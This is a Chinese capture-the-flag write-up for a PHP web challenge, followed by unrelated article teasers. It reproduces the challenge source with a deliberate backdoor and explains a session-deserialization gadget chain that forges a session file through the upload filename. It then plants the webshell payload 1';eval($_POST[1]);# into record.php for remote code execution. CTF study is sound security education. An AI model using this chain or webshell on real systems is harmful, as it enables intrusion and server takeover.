BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234【代码审计/序列化/RCE】

Hint1:本题的 flag 不在环境变量中

Hint2:session_start(),注意链子挖掘

题目:

扫描出来www.zip

class.php 

<?phpclass Admin{public $Config;public function __construct($Config){//安全获取基本信息,返回修改配置的表单$Config->nickname = (is_string($Config->nickname) ? $Config->nickname : "");$Config->sex = (is_string($Config->sex) ? $Config->sex : "");$Config->mail = (is_string($Config->mail) ? $Config->mail : "");$Config->telnum = (is_string($Config->telnum) ? $Config->telnum : "");$this->Config = $Config;echo '    <form method="POST" enctype="multipart/form-data"><input type="file" name="avatar" ><input type="text" name="nickname" placeholder="nickname"/><input type="text" name="sex" placeholder="sex"/><input type="text" name="mail" placeholder="mail"/><input type="text" name="telnum" placeholder="telnum"/><input type="submit" name="m" value="edit"/></form>';}public function editconf($avatar, $nickname, $sex, $mail, $telnum){//编辑表单内容$Config = $this->Config;$Config->avatar = $this->upload($avatar);$Config->nickname = $nickname;$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");$Config->telnum = substr($telnum, 0, 11);$this->Config = $Config;file_put_contents("/tmp/Config", serialize($Config));if(filesize("record.php") > 0){[new Log($Config),"log"]();}}public function resetconf(){//返回出厂设置file_put_contents("/tmp/Config", base64_decode('Tzo2OiJDb25maWciOjc6e3M6NToidW5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjMyOiI1MGI5NzQ4Mjg5OTEwNDM2YmZkZDM0YmRhN2IxYzlkOSI7czo2OiJhdmF0YXIiO3M6MTA6Ii90bXAvMS5wbmciO3M6ODoibmlja25hbWUiO3M6MTU6IuWwj+eGiui9r+ezlk92TyI7czozOiJzZXgiO3M6Mzoi5aWzIjtzOjQ6Im1haWwiO3M6MTU6ImFkbWluQGFkbWluLmNvbSI7czo2OiJ0ZWxudW0iO3M6MTE6IjEyMzQ1Njc4OTAxIjt9'));}public function upload($avatar){$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);file_put_contents($path,$avatar['fdata']);return $path;}public function __wakeup(){$this->Config = ":(";}public function __destruct(){echo $this->Config->showconf();}
}class Config{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;public function __sleep(){echo "<script>alert('edit conf success\\n";echo preg_replace('/<br>/','\n',$this->showconf());echo "')</script>";return array("uname","passwd","avatar","nickname","sex","mail","telnum");}public function showconf(){$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";$show .= "nickname: $this->nickname<br>";$show .= "sex: $this->sex<br>";$show .= "mail: $this->mail<br>";$show .= "telnum: $this->telnum<br>";return $show;}public function __wakeup(){if(is_string($_GET['backdoor'])){$func = $_GET['backdoor'];$func();//:)}}}class Log{public $data;public function __construct($Config){$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;}public function __toString(){if($this->data === "log_start()"){file_put_contents("record.php","<?php\nerror_reporting(0);\n");}return ":O";}public function log(){file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾}
}

index.php

<?php
error_reporting(0);
include "class.php";$Config = unserialize(file_get_contents("/tmp/Config"));foreach($_POST as $key=>$value){if(!is_array($value)){$param[$key] = addslashes($value);}
}if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){$Admin = new Admin($Config);if($_POST['m'] === 'edit'){$avatar['fname'] = $_FILES['avatar']['name'];$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);$nickname = $param['nickname'];$sex = $param['sex'];$mail = $param['mail'];$telnum = $param['telnum'];$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);}elseif($_POST['m'] === 'reset') {$Admin->resetconf();}
}else{die("pls login! :)");
}

 在class.php中发现一长串base64编码的东西,解码得到:

 O:6:"Config":7:{s:5:"uname";s:5:"admin";s:6:"passwd";s:32:"50b9748289910436bfdd34bda7b1c9d9";s:6:"avatar";s:10:"/tmp/1.png";s:8:"nickname";s:15:"� 

也就是说默认的出厂设置 uname为admin,passwd为 50b9748289910436bfdd34bda7b1c9d9,结合index.php中

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd)

将password两次MD5解码得到1q2w3e

提交uname=admin&passwd=1q2w3e登录成功

 看提示这应该是一道反序列化的题,但是源代码中并没有unserialize()

但是传输session的时候会发生序列化和反序列化

关于session的流程:

会话可以由php.ini中的配置session.auto_start = 1自动开始,也可以通过函数 session_start()手动开始,其中PHPSESSID用于标志每个用户的会话,它通常通过浏览器的 Cookie 传递给服务器,也可以通过 URL 重写等方式传递。当客户端向服务器发送请求时,会在请求头中包含这个 PHPSESSID,告诉服务器该请求属于哪个会话。PHP 接收到带有 PHPSESSID 的请求后,会根据这个标识符去查找对应的会话数据文件。这些会话数据文件通常存储在服务器的指定目录中,会话数据在存储时通常是经过序列化处理的,PHP 会自动对读取到的会话数据进行反序列化操作,反序列化后的会话数据会被填充到$_SESSION超级全局变量中。

利用Config中的backdoor可以执行任意函数,提交backdoor=phpinfo查看php配置信息

这里需要手动开始会话

session.serialize_handler用于指定会话数据的序列化和反序列化处理方式,选项是php意思就是用PHP 内置的序列化格式

session文件会被默认存储在 /tmp 或 /var/lib/php/sessions中

__sleep 方法会在对象被序列化(如使用 serialize 函数)时自动调用

 public function __sleep(){echo "<script>alert('edit conf success\\n";echo preg_replace('/<br>/','\n',$this->showconf())echo "')</script>";return array("uname","passwd","avatar","nickname","sex","mail","telnum");}

然后调用showconf() 

这里 file_get_contents用于将文件的内容读入到一个字符串中, 它期望传入的参数是一个有效的文件路径(字符串类型)。当你传入的是一个对象时,PHP 需要将这个对象转换为字符串,以便能够把它当作文件路径来处理。

 public function showconf(){$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";$show .= "nickname: $this->nickname<br>";$show .= "sex: $this->sex<br>";$show .= "mail: $this->mail<br>";$show .= "telnum: $this->telnum<br>";return $show;}

 此时会触发Log的toString()

 public function __toString(){if($this->data === "log_start()"){file_put_contents("record.php","<?php\nerror_reporting(0);\n");}return ":O";}

此时就将内容写进record.php中 

链子明晰了,exp:

<?phpclass Log{public $data="log_start()";}
class Config
{public $uname;public $passwd;public $avatar;public $nickname;public $sex;public $mail;public $telnum;
}
$a=new Log();
$b=new Config();
$b->avatar=$a;
echo serialize($b)
?>

 序列化结果:

O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到$Session对象,比如下面的aaa|O:6:"Config":...就是对应的$_SESSION['aaa'],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep

(即写回去的时候就是序列化前面反序列化的对象)

这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION['user']=xxx,这样显然是不合理的

事实上$_SESSION['user']=xxx往往只用于改变用户属性

大体思路是:返回session文件时序列化--> __sleep()-->showcof() 此时将avatar写入$show中触发-->toString()-->将<?php\nerror_reporting(0);\n写入record.php

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)_dasctf x gfctf 2024|四月开启第一局-CSDN博客

会话开启成功

如果没有手动开启会话,它自己不会自动开启

将filename改为“sess_xxxxx”,PHPSESSID=xxxxx

session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去

文件内容用以下格式来写,这样就能被反序列化读取

backdoor-session_start开着,PHPSESSID自己写一个,filename="sess_那个名字",在文件内容中以php的session文件格式写 

在文件名中写入木马,此时删除cookie防止再次写入<?php error_reporting(0);

利用RCE执行命令(或者用蚁剑连接) 

之前一直不明白为什么要在文件名处写马,看了好几遍源代码才恍然大悟

在这里获取原始文件名

if($_GET['uname'] === $Config->uname && md5(md5($_GET['passwd'])) === $Config->passwd){$Admin = new Admin($Config);if($_POST['m'] === 'edit'){#获取上传头像的原始名字        $avatar['fname'] = $_FILES['avatar']['name'];#获取上传文件在服务器临时存储的文件名$avatar['fdata'] = file_get_contents($_FILES['avatar']['tmp_name']);$nickname = $param['nickname'];$sex = $param['sex'];$mail = $param['mail'];$telnum = $param['telnum'];$Admin->editconf($avatar, $nickname, $sex, $mail, $telnum);}elseif($_POST['m'] === 'reset') {$Admin->resetconf();}

 调用editconf函数

 public function editconf($avatar, $nickname, $sex, $mail, $telnum){//编辑表单内容$Config = $this->Config;$Config->avatar = $this->upload($avatar);$Config->nickname = $nickname;$Config->sex = (preg_match("/男|女/", $sex, $matches) ? $matches[0] : "武装直升机");$Config->mail = (preg_match('/.*@.*\..*/', $mail) ? $mail : "");$Config->telnum = substr($telnum, 0, 11);$this->Config = $Config;file_put_contents("/tmp/Config", serialize($Config));#使用 filesize 函数检查 record.php 文件的大小是否大于 0。if(filesize("record.php") > 0){#如果 record.php 文件大小大于 0,创建一个 Log 类的实例,并调用该实例的 log 方法记录日志。[new Log($Config),"log"]();}}

然后又调用upload方法,而这里要被返回的路径第一个就是fname,即原始文件名

 public function upload($avatar){$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);file_put_contents($path,$avatar['fdata']);return $path;}

 这些都调用完以后,也就是$Config->avatar=$path,其中$path中含有我们上传的文件名

文件名就是木马 1';eval($_POST[1]);#,这里也关了php报错,所以/temp/1’;eval($_POST[1]);#也不会因为没有这个文件而终止执行

此时检查到record.php文件含有已经写进去的<?php error_reporting(0);不为空,editconf中最后一行又新建了Log类并调用log方法,所以调用__construct方法和log方法

 public $data;public function __construct($Config){$this->data = PHP_EOL.'$_'.time().' = \''."Edit: avatar->$Config->avatar, nickname->$Config->nickname, sex->$Config->sex, mail->$Config->mail, telnum->$Config->telnum".'\';'.PHP_EOL;
#PHP_EOL是通用换行符}
 public function log(){file_put_contents('record.php', $this->data, FILE_APPEND);
# FILE_APPEND表示将新加的部分追加到末尾}

将这一堆东西写入record.php中,但是没用了,因为我们已经#注释掉了,高

然后还有一个问题就是,为什么删了Cookie就能防止<?php error_reporting(0);再次写入

删了Cookie就代表着上一个会话已经结束,这是开启了一个全新的会话,因为没有上传session文件啥的,所以也不会引起序列化漏洞,不会再写一遍<?php error_reporting(0);只会执行将文件名写入路径中再把路径写入record.php中的操作

如果这时候不删Cookie,默认还是这个会话,它就会把文件再上传到那个sess目录里头,然后引起序列化漏洞,再把前面<?php error_reporting(0);再写一遍

(个人理解)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/69928.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mysql中使用sql语句生成雪花算法Id

&#x1f353; 简介&#xff1a;java系列技术分享(&#x1f449;持续更新中…&#x1f525;) &#x1f353; 初衷:一起学习、一起进步、坚持不懈 &#x1f353; 如果文章内容有误与您的想法不一致,欢迎大家在评论区指正&#x1f64f; &#x1f353; 希望这篇文章对你有所帮助,欢…

Go框架面试突击!30道高频题解析

前言 有粉丝朋友问我能不能整理Go主流框架方面的面试题&#xff0c;安排&#xff01; 这篇文章分享了gRPC、GoFrame、GoZero、GoMicro、GORM、Gin等主流框架的30道面试题和详解。 需要大厂面经的朋友们也可以直接加我好友&#xff0c;私信我。 gRPC 1.gRPC是什么&#xff…

@JsonRawValue 注解

这里写目录标题 1. 问题2. JsonRawValue 注解说明 1. 问题 在实际开发中我遇到这样一个问题&#xff0c;查询数据库的结果返回的content内容是含有转移符的JSON字符串&#xff0c;但是我需要返回的不包含转移的String字符串。经过我一顿折腾并未发现解决办法&#xff0c;直到J…

node.js+兰空图床实现随机图

之前博客一直用的公共的随机图API&#xff0c;虽然图片的质量都挺不错的&#xff0c;但是稳定性都比较一般&#xff0c;遂打算使用之前部署的兰空图床&#xff0c;自己弄一个随机图 本文章服务器操作基于雨云——新一代云服务提供商的云服务器进行操作&#xff0c;有兴趣的话可…

MySQL binlog的三种模式

MySQL 的 binlog&#xff08;Binary Log&#xff09; 默认的模式是 STATEMENT&#xff0c;即 语句模式。在这种模式下&#xff0c;MySQL 会记录所有对数据库执行的数据修改操作&#xff08;如 INSERT、UPDATE、DELETE 等&#xff09;的 SQL 语句。 1. binlog 的三种模式 MySQL…

25农村发展研究生复试面试问题汇总 农村发展专业知识问题很全! 农村发展复试全流程攻略 农村发展考研复试真题汇总

农村发展复试当然有好的建议&#xff01;前提是复试重点面试题背好&#xff01; 你是不是也在为农村发展考研复试发愁&#xff1f;担心自己准备不充分、表现不好&#xff1f;别急&#xff01;今天&#xff0c;学姐——复试面试拿下90分成功上岸的学姐&#xff0c;来给大家分享…

读取本地excel并生成map,key为第一列,value为第二列

添加依赖&#xff1a;在 pom.xml 文件中添加以下依赖&#xff1a; <dependencies><dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>5.2.3</version></dependency><dependency&…

代码随想录算法【Day44】

Day44 1143.最长公共子序列 class Solution { public:int longestCommonSubsequence(string text1, string text2) {vector<vector<int>> dp(text1.size() 1, vector<int>(text2.size() 1, 0));for (int i 1; i < text1.size(); i) {for (int j 1; …

【transformers.Trainer填坑】在自定义compute_metrics时logits和labels数据维度不一致问题

问题描述 我在使用 transformers.Trainer 训练我的模型时&#xff0c;我自定义了 compute_loss 函数和compute_metrics函数&#xff0c;我的模型是一个简单的二分类模型。 在自定义 compute_loss 时这样写的&#xff1a; def compute_loss(self, model, inputs, return_outp…

论文学习记录之《CLR-VMB》

目录 一、基本介绍 二、介绍 三、方法 3.1 FWI中的数据驱动方法 3.2 CLR-VMB理论 3.3 注意力块 四、网络结构 4.1 网络架构 4.2 损失函数 五、实验 5.1 数据准备 5.2 实验设置 5.3 训练和测试 5.4 定量分析 5.5 CLR方案的有效性 5.6 鲁棒性 5.7 泛化性 六、讨…

【STM32】舵机SG90

1.舵机原理 舵机内部有一个电位器&#xff0c;当转轴随电机旋转&#xff0c;电位器的电压会发生改变&#xff0c;电压会带动转一定的角度&#xff0c;舵机中的控制板就会电位器输出的电压所代表的角度&#xff0c;与输入的PWM所代表的角度进行比较&#xff0c;从而得出一个旋转…

算法刷题-链表系列-移除链表、设计链表、翻转列表

题目要求 所有主要考察对链表的增删查改的功能 总结 对于有些从头遍历到尾的方法&#xff0c;创建一个头结点使得所有的结点能以统一的方式且全部被遍历到&#xff0c;不会出现头结点不被遍历的问题。对于遍历的条件&#xff0c;有的时候curNode ! nullptr&#xff0c;有的时…

Django项目中创建app并快速上手(pycharm Windows)

1.打开终端 我选择的是第二个 2.运行命令 python manage.py startapp 名称 例如&#xff1a; python manage.py startapp app01 回车&#xff0c;等待一下&#xff0c;出现app01的文件夹说明创建成功 3.快速上手 1.app注册 增加一行 "app01.apps.App01Config"&#…

Windows系统安装搭建悟空crm客户管理系统 教程

1、在安装悟空 CRM 之前&#xff0c;需要确保你的 Windows 系统上已经安装了以下软件&#xff1a; Web 服务器&#xff1a;推荐使用 Apache 或 Nginx&#xff0c;这里以 Nginx 为例。你可以使用集成环境套件如 XAMPP 来简化安装过程&#xff0c;它包含了 Nginx 、MySQL、PHP 等…

深度学习框架探秘|TensorFlow vs PyTorch:AI 框架的巅峰对决

在深度学习框架中&#xff0c;TensorFlow 和 PyTorch 无疑是两大明星框架。前面两篇文章我们分别介绍了 TensorFlow&#xff08;点击查看&#xff09; 和 PyTorch&#xff08;点击查看&#xff09;。它们引领着 AI 开发的潮流&#xff0c;吸引着无数开发者投身其中。但这两大框…

java每日精进 2.13 Ganache(区块链本地私有化部署)

需求&#xff1a;使用区块链实现数据村存储&#xff0c;记录一些不可篡改的交互信息&#xff0c;网络环境为内外网均需要部署&#xff1b; 1.准备工作&#xff08;软件安装&#xff09; 1.1 安装 Node.js 和 npm 1.2 安装 Ganache 地址如下&#xff1a;windows有可视化界面 &a…

w206基于Spring Boot的农商对接系统的设计与实现

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;原创团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339;赠送计算机毕业设计600个选题excel文…

chrome://version/

浏览器输入&#xff1a; chrome://version/ Google浏览器版本号以及安装路径 Google Chrome131.0.6778.205 (正式版本) &#xff08;64 位&#xff09; (cohort: Stable) 修订版本81b36b9535e3e3b610a52df3da48cd81362ec860-refs/branch-heads/6778_155{#8}操作系统Windows…

哈希槽算法与一致性哈希算法比较

Redis 集群模式使用的 哈希槽&#xff08;Hash Slot&#xff09; 算法与传统的 一致性哈希&#xff08;Consistent Hashing&#xff09; 算法在数据分布和节点管理上有显著的区别。以下是两者的详细比较&#xff1a; 1. Redis 哈希槽算法 1.1 基本原理 Redis 集群将整个数据集…

【BUUCTF逆向题】[WUSTCTF2020]level3(魔改base64)

一.[WUSTCTF2020]level3 打开IDA反汇编&#xff0c;发现就是base64加密 这里rand就是与&搭配设置奇偶数2分随机 但是根据提示不是标准base64加密 首先想到魔改密码表&#xff0c;追踪进去&#xff0c;发现没有什么变化啊 尝试对Base64字符串解码也不对 追踪密码表CtrlX发…